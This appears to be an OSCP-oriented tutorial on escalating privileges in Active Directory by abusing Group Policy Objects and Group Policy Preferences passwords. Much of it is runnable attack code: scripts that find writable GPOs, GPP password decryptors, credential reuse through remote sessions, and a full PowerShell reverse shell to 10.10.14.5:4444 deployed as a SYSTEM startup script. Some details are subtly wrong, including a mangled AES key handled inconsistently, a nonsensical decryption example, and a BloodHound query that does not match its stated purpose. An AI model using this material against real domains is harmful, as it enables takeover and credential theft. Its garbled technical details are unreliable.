GPO-Based Escalation
How Group Policy Works
Group Policy Objects (GPOs) Explained
Group Policy is a feature of Active Directory that allows administrators to enforce configuration settings across an entire domain. A Group Policy Object (GPO) is a collection of policies that can control:
- Security settings (password policies, account lockout)
- Software deployment (installing/uninstalling applications)
- Script execution (logon/logoff scripts, startup/shutdown scripts)
- Drive mappings and printer connections
- Registry modifications
- Scheduled tasks
- Service configurations
- User and computer preferences
GPO Architecture
A GPO consists of two main components:
-
Group Policy Template (GPT): Stored in the SYSVOL shared folder as files (.adm, .admx, .xml, scripts). This is the file-based part of the GPO that contains the actual policy settings.
-
Group Policy Container (GPC): Stored in Active Directory as an AD object. This contains metadata about the GPO, including its link to OUs, sites, or domains, and its security descriptor (permissions).
GPO Structure:
├── GPC (in Active Directory)
│ ├── GPO Identifier (GUID)
│ ├── Security Descriptor (permissions)
│ └── Links to OUs/Sites/Domains
│
└── GPT (in SYSVOL)
├── C:\Windows\SYSVOL\domain\Policies\{GPO-GUID}\
│ ├── Machine\ (Computer Configuration)
│ │ ├── Registry\
│ │ ├── Scripts\
│ │ └── Preferences\
│ └── User\ (User Configuration)
│ ├── Registry\
│ ├── Scripts\
│ └── Preferences\
└── SysBackup\
SYSVOL and GPO Storage
GPO files are stored in SYSVOL, a shared folder that replicates across all Domain Controllers:
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{GPO-GUID}\
Example path:
\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}\
Key properties of SYSVOL:
- Readable by all domain-authenticated users (by default)
- Replicated to all Domain Controllers
- Contains the actual policy files, scripts, and preferences
- This is why GPP password attacks work – the encrypted passwords are in SYSVOL, readable by anyone
GPO Application Order: LSDOU
GPOs are applied in a specific order, remembered by the acronym LSDOU:
| Order | Scope | Applied At | Precedence |
|---|---|---|---|
| L | Local | Local computer policies | First (lowest precedence) |
| S | Site | Active Directory site | Overwrites Local |
| D | Domain | Domain-level policies | Overwrites Site |
| O | Organizational Unit | Specific OU policies | Last (highest precedence) |
| U | User | User-specific (if separate from computer) | Final |
Important: Later policies overwrite earlier ones. If a Domain GPO sets a password policy and an OU GPO also sets one, the OU GPO wins.
GPO Processing
GPOs are processed in two passes:
- Computer Configuration: Applied during machine startup, runs as SYSTEM
- User Configuration: Applied during user logon, runs as the logged-on user
This is critical for exploitation: Computer Configuration policies run as SYSTEM, meaning any scripts deployed through them execute with the highest possible privileges.
Enumeration
Method 1: gpresult (Built-in Tool)
# Summary of applied GPOs
gpresult /r
# Example output:
# USER SETTINGS
# --------------
# Last successful login: 08/30/2026 at 14:23:45
# Logon Server: DC01
# Logon Domain: CORP
#
# Connected User GPOs
# {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}
# Domain Policy
# {B2C3D4E5-F678-9012-BCDE-F12345678901}
# IT_Department_Policy
#
# COMPUTER SETTINGS
# --------------
# {C3D4E5F6-7890-1234-CDEF-123456789012}
# Domain Controllers Policy
# {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}
# Domain Policy
# Detailed HTML report
gpresult /h C:\temp\gpo_report.html
# This generates a comprehensive HTML report showing:
# - All applied GPOs (user and computer)
# - Security filters
# - WMI filters
# - Resultant Set of Policy (RsOP)
# - Security settings applied
Method 2: PowerShell GPO Enumeration
# Import Group Policy module (available on Domain Controllers and RSAT)
Import-Module GroupPolicy
# Get all GPOs in the domain
Get-GPO -All
# Get detailed report for all GPOs
Get-GPOReport -All -ReportType HTML -Path C:\temp\all_gpos.html
# Get report for a specific GPO
Get-GPOReport -Name "Domain Policy" -ReportType XML -Path C:\temp\domain_policy.xml
# Get GPO by GUID
Get-GPO -Guid "A1B2C3D4-E5F6-7890-ABCD-EF1234567890"
# List GPOs and their paths
Get-GPO -All | Select-Object DisplayName, Id, GpoStatus, Description
Method 3: Checking GPO Permissions
This is the most critical enumeration step – finding GPOs where your user (or a group you belong to) has write access:
# Check permissions on all GPOs
Get-GPO -All | ForEach-Object {
$gpo = $_
$dsa = [System.DirectoryServices.DirectoryEntry]
$path = "LDAP://$($gpo.Path)"
$entry = New-Object $dsa $path
$acl = Get-Acl -AclObject $entry
Write-Host "`n=== $($gpo.DisplayName) ==="
$acl.Access | ForEach-Object {
Write-Host " $($_.IdentityReference) : $($_.AccessControlType) $($_.FileSystemRights)"
}
}
What to look for:
| Permission | Risk Level | Exploitation |
|---|---|---|
| Write / Full Control on GPO | Critical | Modify the GPO to add yourself as admin |
| Write on GPC (AD object) | Critical | Change GPO settings |
| Authenticated Users have Write | Critical | Any domain user can modify |
| Users group has Write | Critical | Any domain user can modify |
| Read only | Low | Can read GPP passwords, scripts |
Method 4: Finding GPOs with Weak Permissions
# Find GPOs where Authenticated Users have write access
Get-GPO -All | ForEach-Object {
$gpo = $_
$path = "LDAP://$($gpo.Path)"
$entry = New-Object System.DirectoryServices.DirectoryEntry $path
$acl = Get-Acl -AclObject $entry
$weakAccess = $acl.Access | Where-Object {
$_.AccessControlType -eq 'Allow' -and
($_.IdentityReference -like '*Authenticated Users*' -or
$_.IdentityReference -like '*Users*' -or
$_.IdentityReference -like "*$env:USERNAME*") -and
($_.FileSystemRights -like '*Write*' -or
$_.FileSystemRights -like '*FullControl*' -or
$_.FileSystemRights -like '*GenericAll*' -or
$_.FileSystemRights -like '*GenericWrite*')
}
if ($weakAccess) {
Write-Host "[!] VULNERABLE GPO: $($gpo.DisplayName)" -ForegroundColor Red
Write-Host " GUID: $($gpo.Id)"
$weakAccess | ForEach-Object {
Write-Host " Weak permission: $($_.IdentityReference) - $($_.FileSystemRights)"
}
}
}
Method 5: Using BloodHound (Advanced)
# From attacker machine with BloodHound data
# Cypher query to find GPO attacks:
# Find all GPOs that the current user can write to
MATCH (u:User {name:'username@CORP.LOCAL'})-[:MemberOf*1..]->(g:Group)-[:CanRDP]->(c:Computer)
RETURN u, g, c
# Or use the built-in attack path visualization
# BloodHound will show GPO-based attack paths automatically
GPO Attack Vectors
Vector 1: GPO Write Access (Most Powerful)
If you have Write or Full Control permissions on a GPO, you can modify it to escalate privileges.
Attack: Add Yourself to Local Administrators via GPO
# Step 1: Identify the vulnerable GPO
# (from enumeration above)
# GPO: "Workstation_Policy" - Authenticated Users have Write access
# Step 2: Modify the GPO to add your user to local Administrators
# Using Group Policy Management Console (GPMC) on a DC or RSAT:
# Computer Configuration -> Policies -> Windows Settings -> Security Settings
# -> Restricted Groups -> Add your user to Administrators
# Or via PowerShell:
# Edit the GPO's registry or preference settings
# to add your account to the local Administrators group
# Step 3: Force GPO update on the target machine
# On the target machine:
gpupdate /force
# Or from a Domain Controller:
# The GPO will apply at the next refresh cycle (default: 90 minutes + random offset)
# Step 4: On the target machine, verify you're now an admin
net localgroup Administrators
# Step 5: Elevate to Administrator
# Log off and log back on, or run:
runas /user:CORP\youruser "cmd.exe"
Attack: Deploy a Malicious Script via GPO
# Step 1: Create a malicious script
# On your attacker machine or the DC:
# Create a reverse shell script:
# C:\Windows\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Scripts\Startup\reverse.ps1
# Step 2: Add the script to the GPO's Startup Scripts
# Computer Configuration -> Policies -> Windows Settings -> Scripts
# -> Startup -> Add the malicious script
# Step 3: The script will run as SYSTEM on the next boot or GPO refresh
# Startup scripts run as SYSTEM -- you get a SYSTEM shell
# Step 4: Force GPO update on target
gpupdate /force
Vector 2: Preferred Execution – GPO-Deployed Scripts
GPOs can deploy scripts that run automatically:
| Script Type | When It Runs | Runs As |
|---|---|---|
| Startup Scripts | Computer startup | SYSTEM |
| Shutdown Scripts | Computer shutdown | SYSTEM |
| Logon Scripts | User logon | User |
| Logoff Scripts | User logoff | User |
Exploitation:
# Check for GPO-deployed scripts
Get-ChildItem "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\" -Recurse -Include "*.bat","*.cmd","*.ps1","*.vbs" -ErrorAction SilentlyContinue
# Look in these directories:
# \Machine\Scripts\Startup\
# \Machine\Scripts\Shutdown\
# \User\Scripts\Logon\
# \User\Scripts\Logoff\
# If you find a script:
# 1. Read its contents for credentials or commands
# 2. If you can modify it (write access to GPO), replace with your payload
# 3. Startup/Shutdown scripts run as SYSTEM -- highest privilege
Vector 3: Drive Maps with Credentials
GPOs can map network drives using stored credentials:
# Check for drive map preferences in GPO XML files
Get-ChildItem "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\" -Recurse -Filter "Drives.xml" -ErrorAction SilentlyContinue
# Drives.xml may contain encrypted passwords:
# <Drives clsid="{...}">
# <Drive clsid="{...}" name="Z:" status="Z:">
# <Properties action="U" fuzzylogging="0" letter="Z"
# path="\SERVER\Share"
# password="{4e9906e8fcb6629b9daeb69d3296d61...}"
# username="CORP\backup_admin"/>
# </Drive>
# </Drives>
# The password can be decrypted using the GPP decryption method (see below)
Vector 4: Scheduled Tasks Created by GPO
GPOs can create scheduled tasks that run with elevated privileges:
# Check for GPO-created scheduled tasks
Get-ScheduledTask | Where-Object {$_.Source -like "Group Policy*"} |
Select-Object TaskName, TaskPath, Source, Author, State
# Check the task XML for details
Get-ScheduledTask -TaskName "GPO_Task_Name" |
Select-Object -ExpandProperty XML
# Look for:
# - Tasks running as SYSTEM
# - Tasks with writable action paths
# - Tasks executing scripts from SYSVOL
Vector 5: Service Configuration via GPO
GPOs can configure Windows services:
# Check for GPO-configured services
# In the GPO XML files, look for Services.xml
Get-ChildItem "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\" -Recurse -Filter "Services.xml" -ErrorAction SilentlyContinue
# Services.xml may contain:
# <Services clsid="{...}">
# <Service clsid="{...}" name="CustomService" image="C:\Path\To\Service.exe">
# <Properties action="U" desktopInteract="0"
# start="Auto" depend="0" name="CustomService"
# username="CORP\service_account"
# password="{4e9906e8fcb6629b9daeb69d3296d61...}"/>
# </Service>
# </Services>
# The service account password can be decrypted
Vector 6: Registry Changes via GPO
GPOs can modify registry keys, potentially weakening security:
# Check for registry preferences
Get-ChildItem "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\" -Recurse -Filter "Registry.xml" -ErrorAction SilentlyContinue
# Registry.xml may contain sensitive values:
# <Registry clsid="{...}">
# <Properties action="U" hive="HKLM"
# key="SOFTWARE\Company\App"
# name="DBPassword"
# value="P@ssw0rd123"
# type="string"/>
# </Registry>
Group Policy Preferences (MS14-025)
The Vulnerability
Group Policy Preferences (GPP) was a feature that allowed administrators to configure preferences (not enforced policies) through the Group Policy Management Console. One of its most powerful features was the ability to store passwords for:
- Local user accounts
- Service accounts
- Scheduled task accounts
- Drive mapping credentials
- Printer connection credentials
How GPP Stored Passwords
GPP stored passwords in XML files within the SYSVOL share. The passwords were “encrypted” using AES-256 with a fixed, hardcoded key. This was a design decision – Microsoft wanted a single key that could decrypt passwords across all domains.
The encryption key is publicly known:
4e9906e8fcb6629b9daeb69d3296d61
(The full 256-bit key is: 4e9906e8fcb6629b9daeb69d3296d617f99426945a009992d0a2c9327362bd2)
Why This Is Unfixable
Microsoft could not properly fix this vulnerability because:
- The encryption key is hardcoded in the GPP implementation
- Changing the key would break all existing GPP configurations across every Windows domain in the world
- The encrypted passwords are stored in SYSVOL, which replicates to all Domain Controllers
- Even after the “patch” (MS14-025), old encrypted passwords remain readable in SYSVOL
The “fix” (MS14-025, released April 2014) only stopped new passwords from being encrypted with the vulnerable method. Existing encrypted passwords in SYSVOL remain decryptable forever.
XML Files to Check
| XML File | Contains | Typical Location |
|---|---|---|
| Groups.xml | Local user accounts with passwords | \Machine\Preferences\Groups\ |
| Services.xml | Service accounts with passwords | \Machine\Preferences\Services\ |
| Scheduledtasks.xml | Scheduled task credentials | \Machine\Preferences\ScheduledTasks\ |
| Drives.xml | Drive mapping credentials | \User\Preferences\DriveMaps\ |
| Printers.xml | Printer connection credentials | \User\Preferences\Printers\ |
| Registry.xml | Registry values (may contain passwords) | \Machine\Preferences\Registry\ or \User\Preferences\Registry\ |
| Datasources.xml | ODBC connection credentials | \User\Preferences\DataSources\ |
Finding GPP XML Files
# Search SYSVOL for GPP XML files
Get-ChildItem "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\" -Recurse -Include "Groups.xml","Services.xml","Scheduledtasks.xml","Drives.xml","Printers.xml","Registry.xml","Datasources.xml" -ErrorAction SilentlyContinue
# Search for the cpassword attribute (encrypted password marker)
Get-ChildItem "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\" -Recurse -Filter "*.xml" -ErrorAction SilentlyContinue |
ForEach-Object {
$content = Get-Content $_.FullName -Raw
if ($content -match 'cpassword') {
Write-Host "[!] Found cpassword in: $($_.FullName)" -ForegroundColor Red
# Extract the cpassword value
$matches = [regex]::Matches($content, 'cpassword="([^"]+)"')
foreach ($match in $matches) {
Write-Host " Encrypted: $($match.Groups[1].Value)"
}
}
}
Decrypting GPP Passwords
Method 1: gpp-decrypt Tool (Kali Linux)
# gpp-decrypt is pre-installed on Kali
gpp-decrypt <encrypted_password>
# Example:
gpp-decrypt eGxhcnRlZHlvdS4uLg==
# Output: H4artedyou...
# Batch decrypt from a file
cat groups.xml | grep -oP 'cpassword="\K[^"]+' | while read pwd; do
echo "Encrypted: $pwd"
echo "Decrypted: $(gpp-decrypt $pwd)"
echo "---"
done
Method 2: Python Script
#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES
def decrypt_gpp_password(encrypted_password):
"""Decrypt a Group Policy Preferences password."""
# The well-known AES key
key = base64.b64decode('4e9906e8fcb6629b9daeb69d3296d617f99426945a009992d0a2c9327362bd2')
# Pad the key to 32 bytes
key = key + b'\x00' * (32 - len(key))
# Decode the encrypted password
encrypted = base64.b64decode(encrypted_password)
# Decrypt using AES-256-CBC with IV of all zeros
cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00' * 16)
decrypted = cipher.decrypt(encrypted)
# Remove PKCS7 padding
padding = decrypted[-1]
decrypted = decrypted[:-padding]
return decrypted.decode('utf-16-le')
# Example usage
encrypted = "eGxhcnRlZHlvdS4uLg=="
print(f"Decrypted password: {decrypt_gpp_password(encrypted)}")
Method 3: PowerShell (On-Target)
# Decrypt GPP password using PowerShell
function Decrypt-GPPPassword {
param([string]$EncryptedPassword)
$key = [Convert]::FromBase64String("4e9906e8fcb6629b9daeb69d3296d617f99426945a009992d0a2c9327362bd2")
$key = $key + [byte[]]@(0) * (32 - $key.Length)
$encrypted = [Convert]::FromBase64String($EncryptedPassword)
$iv = [byte[]]@(0) * 16
$aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider
$aes.Key = $key
$aes.IV = $iv
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::None
$decryptor = $aes.CreateDecryptor()
$decrypted = $decryptor.TransformFinalBlock($encrypted, 0, $encrypted.Length)
# Remove padding and decode as UTF-16LE
$padding = $decrypted[-1]
$decrypted = $decrypted[0..($decrypted.Length - $padding - 2)]
return [System.Text.Encoding]::Unicode.GetString($decrypted)
}
# Usage
Decrypt-GPPPassword "eGxhcnRlZHlvdS4uLg=="
# Output: H4artedyou...
Example: Groups.xml with Embedded Password
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="CORP\backup_admin"
image="0"
changed="2024-01-15 10:30:00"
uid="{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}">
<Properties action="C"
fullName="Backup Administrator"
description="Backup service account"
password="edBSHOwhZLTjt/QS9FeIcJ8dRQlYIYFEI00WaLZiSt8="
changeLogon="0"
noLogon="0"
neverExpires="1"
acctDisabled="0"
userName="backup_admin"/>
</User>
<LocalGroup clsid="{6F4A20C1-5B46-4530-AAA6-9801C0671BCC}"
name="Administrators"
image="2"
changed="2024-01-15 10:30:00"
uid="{B2C3D4E5-F678-9012-BCDE-F12345678901}">
<Properties action="R"
name="Administrators"
desc="Full access">
<Members>
<Member clsid="{7C5A40EF-A0FB-49dc-8919-6A23753E88A2}"
name="CORP\backup_admin"
offsite="0"
image="2"
changed="2024-01-15 10:30:00"
action="U"
sid="S-1-5-21-xxx-xxx-xxx-xxx"
uid="{C3D4E5F6-7890-1234-CDEF-123456789012}"/>
</Members>
</Properties>
</LocalGroup>
</Groups>
Exploitation:
# The password field contains: edBSHOwhZLTjt/QS9FeIcJ8dRQlYIYFEI00WaLZiSt8=
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ8dRQlYIYFEI00WaLZiSt8=
# Output: Sup3rS3cretP@ss!
# Now use the credentials:
# User: CORP\backup_admin
# Password: Sup3rS3cretP@ss!
# This account is also added to local Administrators via the LocalGroup section
# Use these credentials to RDP or psexec into the target
Full Exploitation Walkthroughs
Walkthrough 1: GPO Write Access to Domain Admin
# === SCENARIO ===
# You are a domain user: CORP\jdoe
# You find a GPO "Workstation_Security" where Authenticated Users have Write access
# Target: Add yourself to Domain Admins or a machine's local Administrators
# Step 1: Confirm write access
# (From enumeration above -- GPO has weak permissions)
# Step 2: Modify the GPO
# Option A: Use GPMC on a Domain Controller (if you have DC access)
# Option B: Directly edit the GPO files in SYSVOL
# Edit the GPO to add your user to local Administrators via Restricted Groups
# or via Group Policy Preferences
# Step 3: Using PowerShell to modify GPO (if you have GP management rights)
Import-Module GroupPolicy
$gpo = Get-GPO -Name "Workstation_Security"
# Add your user to the local Administrators group via the GPO
# Step 4: Force GPO update on target
# On target machine:
gpupdate /force
# Step 5: Verify elevation
net localgroup Administrators
# You should see your account listed
# Step 6: Escalate
# Log off and log back on, or use runas
Walkthrough 2: GPP Password Extraction
# === SCENARIO ===
# You are a domain user: CORP\jdoe
# You find Groups.xml in SYSVOL with an encrypted password
# Step 1: Locate the XML file
Get-ChildItem "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\" -Recurse -Filter "Groups.xml"
# Step 2: Read the file and extract cpassword
$xml = Get-Content "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml"
$encPassword = [regex]::Match($xml, 'password="([^"]+)"').Groups[1].Value
# Step 3: Decrypt the password
# (Use the PowerShell function above or copy to Kali and use gpp-decrypt)
$plaintext = Decrypt-GPPPassword $encPassword
# Step 4: Use the credentials
# The Groups.xml also tells you the username
$username = [regex]::Match($xml, 'userName="([^"]+)"').Groups[1].Value
Write-Host "Username: $username"
Write-Host "Password: $plaintext"
# Step 5: Authenticate with the extracted credentials
# These are often privileged accounts (service accounts, admin accounts)
Enter-PSSession -ComputerName TARGET -Credential (New-Object PSCredential("CORP\$username", (ConvertTo-SecureString $plaintext -AsPlainText -Force)))
Walkthrough 3: Malicious Startup Script
# === SCENARIO ===
# You have write access to a GPO that applies to the target computer
# You want SYSTEM-level access
# Step 1: Create a reverse shell script
# On the DC or a machine with SYSVOL write access:
$scriptContent = @'
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.5",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "# "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
'@
# Step 2: Place the script in the GPO's Startup Scripts folder
# \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{GPO-GUID}\Machine\Scripts\Startup\reverse.ps1
Set-Content "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{GPO-GUID}\Machine\Scripts\Startup\reverse.ps1" -Value $scriptContent
# Step 3: Register the script in the GPO
# (Via GPMC or by editing the GPO configuration)
# Step 4: Set up listener on attacker machine
nc -lvnp 4444
# Step 5: Force GPO update on target (or wait for reboot)
# The startup script runs as SYSTEM on next boot
# You receive a SYSTEM-level PowerShell reverse shell
GPO Escalation Flow Diagram
graph TD
A[Domain User Shell] --> B{Domain-Joined?}
B -->|Yes| C[gpresult /r]
B -->|No| Z[Not Applicable]
C --> D[List Applied GPOs]
D --> E{Check GPO Permissions}
E --> F{Write Access to GPO?}
F -->|Yes| G[Modify GPO]
F -->|No| H{Search SYSVOL for GPP XML}
G --> G1[Add User to Admins via Restricted Groups]
G --> G2[Deploy Malicious Startup Script]
G --> G3[Modify Service Config]
G1 --> G4[gpupdate /force on target]
G2 --> G5[Wait for reboot / force update]
G3 --> G6[Service runs with new config]
G4 --> I[Local Admin Access]
G5 --> J[SYSTEM Reverse Shell]
G6 --> I
H --> K{Found cpassword in XML?}
K -->|Yes| L[Decrypt with gpp-decrypt]
K -->|No| M{Check other vectors}
L --> N[Extract Username + Password]
N --> O[Authenticate as Privileged User]
O --> P[Lateral Movement / Domain Admin]
M --> Q[Check Scheduled Tasks from GPO]
M --> R[Check Drive Maps for Credentials]
M --> S[Check Registry Preferences]
Q --> I
R --> O
S --> O
style G fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style J fill:#ff4757,color:#fff
style P fill:#2ed573,color:#000
GPO Escalation Checklist
Quick GPO Enumeration (5 Minutes)
# 1. Check domain membership
systeminfo | findstr /B /C:"Domain"
# 2. List applied GPOs
gpresult /r
# 3. Search for GPP XML files with passwords
Get-ChildItem "\\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies\" -Recurse -Include "Groups.xml","Services.xml","Scheduledtasks.xml","Drives.xml" -ErrorAction SilentlyContinue |
ForEach-Object {
if (Select-String -Path $_.FullName -Pattern "cpassword" -Quiet) {
Write-Host "[!] cpassword found in: $($_.FullName)" -ForegroundColor Red
}
}
# 4. Check GPO permissions (if on DC or with RSAT)
Import-Module GroupPolicy
Get-GPO -All | ForEach-Object {
$path = "LDAP://$($_.Path)"
$entry = New-Object System.DirectoryServices.DirectoryEntry $path
$acl = Get-Acl -AclObject $entry
$weak = $acl.Access | Where-Object {
$_.AccessControlType -eq 'Allow' -and
$_.IdentityReference -like '*Authenticated Users*' -and
($_.FileSystemRights -like '*Write*' -or $_.FileSystemRights -like '*GenericAll*')
}
if ($weak) {
Write-Host "[!] Writable GPO: $($_.DisplayName)" -ForegroundColor Red
}
}
# 5. Check for GPO-deployed scripts
Get-ChildItem "\\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies\" -Recurse -Include "*.bat","*.cmd","*.ps1","*.vbs" -ErrorAction SilentlyContinue |
Where-Object {$_.DirectoryName -like "*Scripts*"} |
ForEach-Object {
Write-Host "[*] Script found: $($_.FullName)"
}
GPO Attack Decision Matrix
| Finding | Attack | Difficulty | Impact |
|---|---|---|---|
| Write access to GPO applying to target | Modify GPO, add admin | Easy | Local Admin |
| Write access to GPO applying to DC | Modify GPO, add Domain Admin | Easy | Domain Admin |
| cpassword in Groups.xml | Decrypt, use credentials | Easy | Varies (often admin) |
| cpassword in Services.xml | Decrypt, use service account | Easy | Varies |
| cpassword in Drives.xml | Decrypt, access share | Easy | Share access |
| Writable startup script | Replace with reverse shell | Medium | SYSTEM shell |
| GPO-created scheduled task | Modify task action | Medium | Task’s privilege level |
| GPO-configured service | Modify service config | Medium | Service account |
OSCP Exam Tips
GPO Attacks Are Domain Box Staples
GPO-based escalation is extremely common on OSCP domain boxes. Here’s why:
- Domain boxes almost always have GPOs configured
- Misconfigured permissions are a frequent exam scenario
- GPP passwords are a classic OSCP vector
- The attack path is well-documented and reliable
Exam Strategy
- Always run
gpresult /ron domain-joined machines – it takes 5 seconds - Search SYSVOL for
cpassword– this is the fastest GPP check - Check GPO permissions if you’re on a DC or have RSAT installed
- Use
gpp-decrypton Kali – it’s pre-installed and instant - Document the GPO findings even if you can’t exploit them – report points
Common OSCP GPO Scenarios
| Scenario | What You’ll Find | Exploitation Path |
|---|---|---|
| Easy domain box | GPP password in Groups.xml | Decrypt → RDP as admin |
| Medium domain box | Authenticated Users write to GPO | Modify GPO → add admin → gpupdate |
| Hard domain box | Writable GPO startup script | Deploy reverse shell → SYSTEM |
| Multi-hop domain | GPP password → service account | Decrypt → psexec → lateral movement |
Time-Saving Tips
gpp-decryptis on Kali – no setup needed- SYSVOL is always accessible to domain users – no special permissions required
- GPP passwords are often for privileged accounts – service accounts, admin accounts
- One GPP password can unlock the entire box – check all XML files
- BloodHound will automatically find GPO attack paths if you have the data
What to Include in Your Report
- GPO enumeration commands and output
- GPP XML file location and contents (redact passwords)
- Decryption method used
- Extracted credentials (redact in report)
- How the credentials were used for escalation
- GPO permission weaknesses identified
For more information, see Microsoft’s MS14-025 bulletin and Harlan Carvey’s GPP decryption research.